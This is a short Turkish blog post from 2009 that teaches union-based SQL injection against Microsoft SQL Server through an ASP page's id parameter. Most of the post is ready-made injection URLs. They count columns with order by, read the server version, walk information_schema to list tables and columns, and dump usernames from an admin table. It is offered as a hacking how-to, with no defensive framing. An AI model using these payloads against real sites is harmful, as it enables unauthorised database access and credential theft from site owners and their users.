18 Haziran 2009 Perşembe

MSSQL Union Kullanımı

mysql de access te herkes union kullanır ama mssql
genelde kullanılmas ve etrafta tek döküman
yok bunun için bende böle bi döküman hazırladım
inş anlatabilmişimdir.

Önce order by ile column sayısını alalım.

http://www.thenesa.com/nesa.asp?id=1 order by 1--

http://www.thenesa.com/nesa.asp?id=1 order by 2--

http://www.thenesa.com/nesa.asp?id=1 order by 3--

http://www.thenesa.com/nesa.asp?id=1 order by 4--

v.s column u eşitledik 4 olsun.

http://www.thenesa.com/nesa.asp?id=1 and 1=2 union
select 1,2,3,4--

şimdi versionu alalım.

http://www.thenesa.com/nesa.asp?id=1 and 1=2 union
select 1,2,3,@@version--

ve şimdi de unionla informaion shemadan veri çekelim.

bunu sysobject'den veri almak içinde kullanbilirsiniz bu

size kalmış.

Şimdi Tablo Alalım.

http://www.thenesa.com/nesa.asp?id=1 and 1=2 union
select 1,2,3,table_name from information_schema.tables--

Bir tablo alırız. Aldığımız tablo admin olsun

http://www.thenesa.com/nesa.asp?id=1 and 1=2 union
select 1,2,3,table_name from information_schema.tables
where table_name not in ('admin')--

Bu şekilde admin’den sonraki tabloyu alırız.ve soraki tablo

nesa olsun.nesa’dan soraki tabloyuda bu şekilde alıyoruz.

http://www.thenesa.com/nesa.asp?id=1 and 1=2 union select
1,2,3,table_name from information_schema.tables where
table_name not in ('admin','nesa')--

ve ondan soraki tablo...

Column alalım.

http://www.thenesa.com/nesa.asp?id=1 and 1=2 union
select 11,22,33,column_name from information_schema.columns
where table_name='admin'--

admin tablosunun ilk Column’unu verir. Ilk column id olsun.

http://www.thenesa.com/nesa.asp?id=1 and 1=2 union select
1,2,3,column_name from information_schema.columns where
table_name='admin' and column_name not in ('id')--

id den soraki column.Aldığımız column username olsun.

Soraki column’u alalım.

http://www.thenesa.com/nesa.asp?id=1 and 1=2 union
select 1,2,3,column_name from information_schema.columns
where table_name='admin' and column_name not in ('id','username')--

bu şekilde.

Şimdide union la veri okuyalım.

http://www.thenesa.com/nesa.asp?id=1 and 1=2 union select
1,2,3,username from admin--

aldığımız username admin olsun. adminden soraki username almak için

http://www.thenesa.com/nesa.asp?id=1 and 1=2 union select
1,2,3,username from admin where username not in ('admin')--

işte bu şekilde...

by TheNeSa

1 yorum: